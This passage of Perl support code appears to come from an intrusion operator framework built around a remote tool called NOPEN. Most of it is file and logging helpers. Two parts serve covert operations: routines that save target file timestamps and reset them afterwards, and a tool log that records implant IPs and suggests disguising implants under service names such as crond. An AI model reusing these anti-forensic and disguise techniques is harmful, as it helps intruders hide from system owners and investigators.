		#($a == 2 and ($c % 4 and $c % 100) and $b > 28) or
		(($a == 9 or $a == 4 or $a == 6 or $a == 11) and $b > 30)
	       );
  return sprintf("%02d-%02d-%04d",$a,$b,$c);
}
#datefix

sub readfile {
  # In ARRAY mode, we return an array of the output, one line per element (with no newline)
    my ($returnarray,$returnfilenames,
      %returnfilenames,$val,%morefiles,$wipethem) = ();
  foreach my $infile (@_) {
      if ($infile eq "ARRAY") {
	  # We return an array of lines in file(s)
	  $returnarray = $infile;
      } elsif ($infile eq "FILES") {
	  # We return an array, element 1 is scalar of all content,
	  # remainder is an array of the file(s) it was in.
	  $returnfilenames = $infile;
      } elsif ($infile eq "WIPE") {
	  # We remove after closing.
	  $wipethem = $infile;
      } elsif ($infile and $infile =~ /(\*|\?)/) {
	  foreach my $listing (split(/\n/,`ls -1rdt $infile 2>/dev/null`)) {
	      $morefiles{$listing}++ if (-f $listing and -s _);
	  }
      } elsif (-f $infile and -s _ and open(READIN,$infile)) {
	  # Do not do same file twice, skip non-files
	  unless ($returnfilenames{$infile}++) {
	      while (my $line = <READIN>) {
		  $val .= $line;
	      }
	  }
	  close(READIN);
	  if ($wipethem) {
	    my $newname = basename $infile;
	    `mkdir -p $optmp/WIPED` unless (-d  "$optmp/WIPED");
	    rename($infile,"$optmp/WIPED/$newname.".timestamp(short));
	  }
      }
  }
  if (keys( %morefiles) > 0) {
	return $val . readfile($wipethem,keys(%morefiles))
	    unless ($returnfilenames or $returnarray);
	return (split(/\n/,$val),readfile($wipethem,$returnarray,keys(%morefiles)))
	    if $returnarray;
	if ($returnfilenames) {
	    my ($val2,@files) = readfile($wipethem,$returnfilenames,keys(%morefiles));
	    return ($val . $val2,uniqify_array(keys(%returnfilenames),@files));
	}
  } else {
	return $val unless ($returnarray or $returnfilenames);
	return (split(/\n/,$val)) if ($returnarray);
	if ($returnfilenames) {
	    return ($val,keys(%returnfilenames));
	}
  }
}
#readfile

sub writefile {
  local ($outfile,@content) = (@_);
  my $append="";
  if ($outfile eq "APPEND") {
      $outfile = shift @content;
      $append=">";
  }
  preservefile($outfile) unless $append;
  my $content = "";
  my $nl = "\n";
  $nl = "" if (scalar(grep /\n/,@content) == @content);
  foreach (@content) {
    $content .= "$_$nl";
  }
  open(WRITEOUT,"$append>$outfile");
  print WRITEOUT $content;
  close(WRITEOUT);
  return $content;
}
#writefile

sub doitwrite {
  # Do the command, builtin or not, on target, save it where it belongs
  # (builtins in $opdown, otherwise in $optargetcommands).
  # Returns the scalar content of the output of the commands, except
  # in "ARRAY" mode where we return scalar content followed by
  # the array of file(s) written to.
  local (@commands) = (@_);
  my ($writethis,$results,@returnfilenamearray,$docmd) = ();
  foreach $docmd (@commands) {
      if ($docmd eq "ARRAY") {
	  @returnfilenamearray = ($docmd);
	  last;
      }
  }
  foreach $docmd (@commands) {
      next if ($docmd eq "ARRAY");
      my ($writeout,$nopenlines,@writeout) = doit($docmd);
      next if ($docmd =~ /^\s*\# SKIPPING in -b BUILTIN ONLY MODE/);
      my $filename = $docmd;
      if ($filename =~ m,^\s*=,) {
	  # If a NOPEN alias was just run, we use the actual command executed
	  # as our $filename, not the alias.
	  my @nopenlines = split(/\n/,$nopenlines);
	  @nopenlines = grep ! /^\[Saving.*output to:/ , @nopenlines;
	  @nopenlines = grep ! /^We will be reading from \d+/ , @nopenlines;
	  
	  if (my ($match) = $nopenlines[1] =~ m,^\[(.*)\]$,) {
	      $match =~ s,\s-nohist,,;
	      #offerabort("
	      #
	      #match=$match=
	      #
	      #nopenlines=(
	      #  : ".join("\n  : ",@nopenlines)."
	      #)
	      #cmd=$docmd=
	      #
	      #match=$match=
	      #
	      #
	      #");
	      $filename = $match;
	      $docmd = $filename;
	  }
      }
      # We need to strip off L: and T: redirect commands or else we'll get bad filenames.
      if ($filename =~ /^(.*)\s*[\.\>]+\s*(L:|T:).*/) {
	  #offerabort("
	  #
	  #1=$1=
	  #cmd=$docmd=
	  #filename=$filename=
	  #
	  #");
	  $docmd = $1;
	  $filename = $docmd;
      }
      #offerabort("
      #
      #1=$1=
      #cmd=$docmd=
      #filename=$filename=
      #
      #");
      
      my $destdir = $optargetcommands;
      if ($docmd =~ /^\s*-/) {
	  $destdir = $opdown;
	  $filename =~ s,^\s*-,,;
      }

      # First char of \\ means we escaped it, e.g. hostname from autonewdone
      $filename =~ s,^\\,,;

      # Some special characters, most become underscore
      $filename =~ s,[\[\]\*\!\s/\\\$\&],_,g;

      # Semicolon becomes plus
      $filename =~ s,;,\+,g ;

      $filename = "${filename}__${nopen_rhostname}"
	  unless ($destdir =~ /$nopen_rhostname/);
      $filename = $filename."__".timestamp("short");
      #dbg("in autoutils doitwrite, filename =$filename= cmd =$docmd=");
      
      $writethis .= writefile("$destdir/$filename",
			      "# $docmd\n",@writeout);
      push(@returnfilenamearray,"$destdir/$filename")
	  if (@returnfilenamearray);
      
      $results .= $writeout;
  }
  return $results unless @returnfilenamearray;
  shift(@returnfilenamearray);
  return ($results,@returnfilenamearray);
}
#doitwrite

sub maybelogtool {
  # Given hashed array, log content as:
  # Key: value          In the hostinfo file and
  # KEY=value           In the UsedTools.$nopen_rhostname/$toolname.txt file
  local (%h) = (@_);
#  foreach my $var ("toolname",
#		   "version",
#		   "usage",
#		   "tool status",
#		   "implant ip",
#		   "tool comments",
#		  ) {
#    my $varname = $var;
#    $varname =~ s, ,_,g;
#    my $value = $h{$var};
#    $value = $h{lc $var} unless $value;
#    $value = $h{uc $var} unless $value;
#    $value = $h{ucfirst $var} unless $value;

  my $toolname = $h{"Tool"};
  $toolname = $h{"tool"} unless $toolname; 
  $toolname = $h{"TOOL"} unless $toolname; 
}
#maybelogtool

sub filetimesave {
  # Use -ls -n to save m/atimes of a file (just once per op tho, 
  # use previous result from global %host_touchlater).
  # That can be used later from the global %host_touchlater to set
  # the times back.
  # NOTE: TO save times for a file containing an @ symbol, use ? instead,
  #       EVEN when calling filetimesave().
  # RETURNS: array of touch lines for files just sent.
  return () unless ($socket);
  local(@savetimefiles) = (@_);
  my ($result,@results) = ();
  mydie("You cannot send filenames containing an \@ to filetimesave, sorry.")
    if ("@savetimefiles" =~ m,\@,);
  foreach my $savetimefile (@savetimefiles) {
    $savetimefile = escapestr($savetimefile);
    unless ($host_touchlater{$savetimefile}) {
      ($result) = doit("-ls -dn $savetimefile");
      chomp($result);
      my ($mtime,$atime) = $result =~ /-touch -t (\d+):(\d+)\s+$savetimefile/;
      ($mtime,$atime) = $result =~ /-touch -t (\d+):(\d+)\s+$savetimefile2/
	unless ($mtime and $atime);
      next unless ($mtime and $atime);
      newhostvar("host_touchlater{$savetimefile}",$result);
    }
    push(@results,$host_touchlater{$savetimefile});
  }

  return @results;
}
#filetimesave

sub filetimeresets {
  # Use global -touch lines stored in %host_touchlater to
  # touch times back. Called with NO arguments, it does ALL of them,
  # or send a list of remote file paths to touch back.
  # NOTE: Repeated calls to filetimeresets() with no arguments will
  #       touch timestamps back even if that touch was just done.

  # RETURNS: NOPEN output from -touch lines just executed.

  return () unless ($socket);
  local (@touchfiles) = (@_);
  my @touchlines = ();
  if (@touchfiles) {
    foreach (@touchfiles) {
      push(@touchlines,$host_touchlater{$_})
	if ($host_touchlater{$_});
    }
  } else {
    @touchlines = keys %host_touchlater;
  }
  return doit(sort by_path_depth @touchlines)
    if (@touchlines > 0);
  return ();
}
#filetimeresets

sub logtool {
  dbg("In logtool(@_)");
  # Given a tool name, version, success status, usage pattern and an optional
  # comment, build a UsedTools entry that is stored in $opdown/UsedTools.$nopen_rhostname
  # and in $opdown/hostinfo.$nopen_rhostname for later storage.
  #
  # If any of the four required variables are empty, prompt the user for appropriate
  # values. (See also autologtool usage, via -gs logtool -h.)
  local ($name,$version,$success,$usage,$comment,$otherhostname,$filename,@otherlines) = (@_);
  $name = uc $name;
  my $LOGTOOLVER="1.1.0.2";

  # This is just in case some other script calls us that is unaware of the
  # new -f FNAME option to autologtool.

  unless (-f $filename) {
      @otherlines = ($filename,@otherlines) if (length $filename);
      $filename="";
  }

  # This tracks tools that we've seen before. The hash key is the name and the value
  # is the tool version.
  my %seentools = ();
  my $abortstr = "ABORT";
  my $nopenmore = "";

  $optmp = "." unless (-d $optmp);
  $opdown = "." unless (-d $opdown);

  while ($otherhostname or !$nopen_rhostname or !$nopen_myip) {
    unless ($otherhostname) {
      my ($ans,$longans) = mygetinput
	($nopenmore.
	 "What is the target's HOST.IP (or at least the IP)?",
	 $abortstr
	);
      mydie("Aborted by user") if ($longans eq $abortstr);
      $otherhostname = $longans;
      undef $otherhostname;
    }
    
    $nopen_rhostname = $otherhostname;
    ($nopen_hostonly) = $nopen_rhostname =~ /(.*)\.\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/ ;
    $nopen_hostonlyexpr = $nopen_hostonly;
    $nopen_hostonlyexpr =~ s,[\s\[\]\{\}\$],.,g;
    
    ($nopen_myip) = $nopen_rhostname =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/ ;
    last if $nopen_myip;
    $nopenmore = "$COLOR_FAILURE You must enter a string that ends with an IP address.\n".
      "$COLOR_NORMAL\n";
  }

  # Store the acquired info in the UsedTools directory and hostinfo file.
  my $tooldir = "$opdown/UsedTools.$nopen_rhostname";
  my $hostfile = "$opdown/hostinfo.$nopen_rhostname";

  offerabort
    ("Normally, NOPEN should have run autodone by this time and\n\n".
     "      $hostfile\n\n".
     "would exist by now. You can abort now and run:\n\n".
     "      -gs auto new\n\n".
     "if you want a complete hostinfo file for $prog to append to.\n\n".
    "If you continue, $prog will create a partial hostinfo file."
    ) unless ($calledviacommandline or -s $hostfile);
    
  unless ($name and $version and $success and $usage) {
    while (!$name) {
      progprint("Invalid tool name entered!\n($name)\n\n".
		"Must not have white space or brackets.",$COLOR_FAILURE) if $name;
      ($ans,$name) = mygetinput("Enter the name of the installed tool:",$abortstr);
      mydie("Aborted by user") if ($name eq $abortstr);
      redo if ($name =~ /[\s{}\[\]\(\)]/);
    }
    while (! ($version =~ /^\d+\.*\S*/)) {
      progprint("Invalid tool version entered!",$COLOR_FAILURE) if $version;
      ($ans,$version) = mygetinput("Enter the version number of the installed tool:",$abortstr);
      # Silently remove initial "V" or "v" or "v." or "V."
      $version =~ s,^\s*v\.*,,;
      mydie("Aborted by user") if ($version eq $abortstr);
    }
    while (!$success) {
      progprint("Invalid tool success status entered!",$COLOR_FAILURE) if $success;
      ($ans,$success) = mygetinput("
        Enter the success status for the tool
	(valid choices are @toolsuccesses):",$abortstr);
      foreach (@toolsuccesses) {
	$success = $_ if (/^$success/i);
      }
      mydie("Aborted by user") if ($success eq $abortstr);
      last if !(grep m,$toolsuccess, , @toolsuccesses);
    }
    while (!$usage) {
      progprint("Invalid tool usage entered!",$COLOR_FAILURE) if $usage;
      ($ans,$usage) = mygetinput
	("Enter the usage pattern for the tool\n".
	 "(@toolusages):",$abortstr);
      mydie("Aborted by user") if ($usage eq $abortstr);
      ($usage) = grep m,^\s*$toolusage,i , @toolusages;
    }
    
    ($ans,$comment) = mygetinput("Enter a comment about this tool:","NONE");
    mydie("Aborted by user") if ($comment eq $abortstr);
    $comment = "" if $comment eq "NONE";
  }
  
  # Create our new entries for the UsedTools directory and the hostinfo file.
dbg("in autologtool logtool, toolname =$name=, toolsuccess =$success=",
    "toolversion =$version=, toolcomment =$comment=, toolusage =$usage=");
  $newhostinfocontent = "--
Tool: $name
Version: $version
Usage: $usage
Tool Status: $success
Implant IP: $nopen_myip
Tool Comments:$comment
";
  $newhostinfocontentfile = "--
TOOL=$name
VERSION=$version
USAGE=$usage
TOOL STATUS=$success
IMPLANT IP=$nopen_myip
TOOL COMMENTS=$comment
";

  foreach  (@otherlines) {
    my ($name,$value) = /\s*([^=]+)=(.*)/;
    next unless ($name and $value);
    $newhostinfocontent .= ucfirst $name . ": $value\n";
    $newhostinfocontentfile .= uc $name . "=$value\n";
  }
  # Store the new tool information in the hash.
  $seentools{$name} = "$version";

  mkdir($tooldir);
  my $filemore = "";
  if ($filename) {
      if ($name eq "SUCTIONCHAR-CONF") {
	  mydie("\n\nWith $name, the file $filename\n".
		"must be an XML file ending in .xml".
		"") unless ($filename =~ /\.xml$/ and `file $filename` =~ /^$filename: .*(ascii|xml|sgml|text)/i );
      }
      my $newname = basename($filename);
      if ($newname =~ /$name/i) {
	  my ($ans,$longans) = mygetinput
	      ("Usually on target the NAME of the tool ($name) is not used, instaed something\n".
	       "like crond, pcscd, or tailwatchd is used.\n\n".
	       "What name will be used on $nopen_rhostname for this tool?",
	       "$newname"
	       );
	  $newname = $longans if $longans;
      }
      $newname .= "_".timestamp(short);
      $newname .= "_$name";
      $newname .= "_v$version";
      $newname .= "_$success";
      $newname .= "_$usage";
      $newname =~ s,[\s/],_,g;
      mkdir("$tooldir/$name");
      `cp -p $filename $tooldir/$name/$newname 2>/dev/null; chmod -w $tooldir/$name/$newname`;
      if ($filemore = `ls -Alrtc $tooldir/$name/ 2>/dev/null`) {
	  $filemore = "ls -Alrtc $tooldir/$name/\n".$filemore;
      } else {
	  mywarn($COLOR_FAILURE."\n\n".
		 "ERROR: Could not properly create this file:\n\n".
		 "    $tooldir/$name/$newname");
      }
  }
  preservefile("$tooldir/$name.txt");
  if (open(OUT,">> $tooldir/$name.txt")) {
    print OUT $newhostinfocontentfile if $newhostinfocontentfile;
  }
  close(OUT);
  
  # Store the acquired info in the hostinfo file, and detect any
  # duplicates when preserving the original hostinfo contents.
  if (-e $hostfile) {
    rename("$hostfile","$hostfile.old");
    mydie("Cannot write to $hostfile, no changes made")
      unless open(HOSTIN,"$hostfile.old");
  }
  mydie("Cannot write to $hostfile, no changes made")
    unless open(HOSTOUT,">$hostfile");
  print HOSTOUT $newhostinfocontent;
  my ($nontoolsection,$repeatedtools,$intool,$inrepeatedtool) = ();
  while (<HOSTIN>) {
    if (/^Tool: /) {
      $intool = 1;
      $inrepeatedtool = 0;
      foreach my $tool (keys %seentools) {
        if (/^Tool: $tool/) {
	  $repeatedtools .= "--\n";
	  $inrepeatedtool = 1;
        }
      }
    } elsif (/^--\n/) {
      print HOSTOUT;
      $intool = 0;
      $inrepeatedtool = 0;
      next;
    }
    $repeatedtools .= $_
      if ($inrepeatedtool);
    next if (/^END_TOOLS\n/);
    if ($intool) {
      print HOSTOUT;
    } else {
      $nontoolsection .= $_;
    }
  }
  print HOSTOUT "--\n\n";
  print HOSTOUT "END_TOOLS\n";
  print HOSTOUT $nontoolsection;
  close(HOSTIN);
  close(HOSTOUT);
  my $repeatwarning = "";
  $repeatwarning = "\n$COLOR_FAILURE\n".
    "WARNING: These tools were in $hostfile more than once:\n".
    $repeatedtools."\n\n".
    "WARNING: Some tools were in $hostfile more than once.\n"
    if $repeatedtools;
  if ($filemore) {
      my $dir = dirname($filename);
      $filemore = $COLOR_NOTE."\n\nThe local file you referenced:$COLOR_NORMAL\n\n".
	  `ls -alrt $filename`."\n$COLOR_NOTE\n".
	  "has been copied (read-only) here:\n$COLOR_NORMAL\n".
	  $filemore."\n\n";
  }
  progprint($COLOR_FAILURE.
	    "Finished.\n$progress\n$COLOR_NOTE\n".
	    "$prog just added these entries to\n".
	    "$hostfile:\n\n$COLOR_NORMAL".$newhostinfocontent.
	    "\n".$extrahostinfocontent.
	    $repeatwarning.
	    $filemore
	   );
  return ($newhostinfocontent,$repeatwarning);
}
#logtool

sub popalarm {
  local($content,$countdown,$visible) = (@_);
  # Daemonize unless $visible is set, close all outputs
  # sleep $countdownsecs, then
  # pop up the $content in an xterm

  dbg("In popalarm(@_)");
  my $countdownsecs = strtoseconds($countdown);
  return $countdownsecs unless ($countdownsecs > 0);

  my $setat = gmtime();
  my $delaystr = secstostr($countdownsecs);


  unless ($visible) {
    return $countdownsecs if fork();
    close(STDOUT);
    close(STDIN);
    close(STDERR);
    close($socket) if $socket;
  }

  my $more = "by $prog";
  $more .= " in a $nopen_rhostname window"
    if ($nopen_rhostname);

  if (-f $content) {
    $content = readfile($content);
  }

  my $lines = 1+split(/\n/,$content);

  my $shortcontent = substr($content,0,40);
  $shortcontent =~ s,\s*$,,;
  $shortcontent =~ s,\s, ,g;
  my $blanks = "\n" x (33-$lines/2);
  $content = $blanks.$content;

  my $tmpfile = "/tmp/.alarmout.$$";
  my $ext = $$;
  while (-f $tmpfile) {
    $ext++;
    $tmpfile = "/tmp/.alarmout.$ext";
  }
  open(ALARMOUT,">$tmpfile");
  print ALARMOUT $content;
  print ALARMOUT
    "$COLOR_FAILURE\n\n".
    "Above alarm was set at $setat\n".
    "                       $more\n".
    "                       with a delay of $delaystr\n\n".
    "You may ^C this window once you read/act on this.\n";
  

  close(ALARMOUT);
  chomp($lines = `cat $tmpfile | wc -l`);
  my $winlines = 100+$lines;
  my $what = "tail -${winlines}f " if ($lines > 0);
  $what = "cat " unless $what;


  dbg("Lines=$lines= #blanks=".length($blanks)."= wc=".`cat $tmpfile | wc -l`);

  exit  if (fork());
  dbg(
      `ls -al /tmp/.alarmout.$ext`.
      "\n\ncalled popalarm(@_) WHICH WILL (in $countdownsecs) RUN:\n\n".
      "xterm  -title \"Alarm set at $setat for delay of $delaystr: $shortcontent\" ".
      "-bg white -fg black -ut +cm +cn -sk -sb -sl $winlines  -geometry 128x67+1302+26 -e $what $tmpfile 2>>/tmp/xterm.err ");

  sleep $countdownsecs;

  dbg(
      `ls -al /tmp/.alarmout.$ext`.
      "\n\nNOW RUNNING:\n\n".
      "xterm  -title \"Alarm set at $setat for delay of $delaystr: $shortcontent\" ".
      "-bg white -fg black -ut +cm +cn -sk -sb -sl $winlines  -geometry 128x67+1302+26 -e $what $tmpfile 2 >> /tmp/xterm.err ");
  system(
	 "xterm  -title \"Alarm set at $setat for delay of $delaystr: $shortcontent\" ".
	 "-bg white -fg black -ut +cm +cn -sk -sb -sl $winlines  -geometry 128x67+1302+26 -e $what $tmpfile 2>>/tmp/xterm.err ");
  
  dbg("xterm system call Returned $?");
  sleep 13;
  unlink($tmpfile);
  exit;

}
#popalarm

sub sumof {
    # Returns mathematical sum of elements of @_
    my $sum = 0;
    foreach my $n (@_) {
	$sum += $n;
    }
    return $sum;
}
#sumof
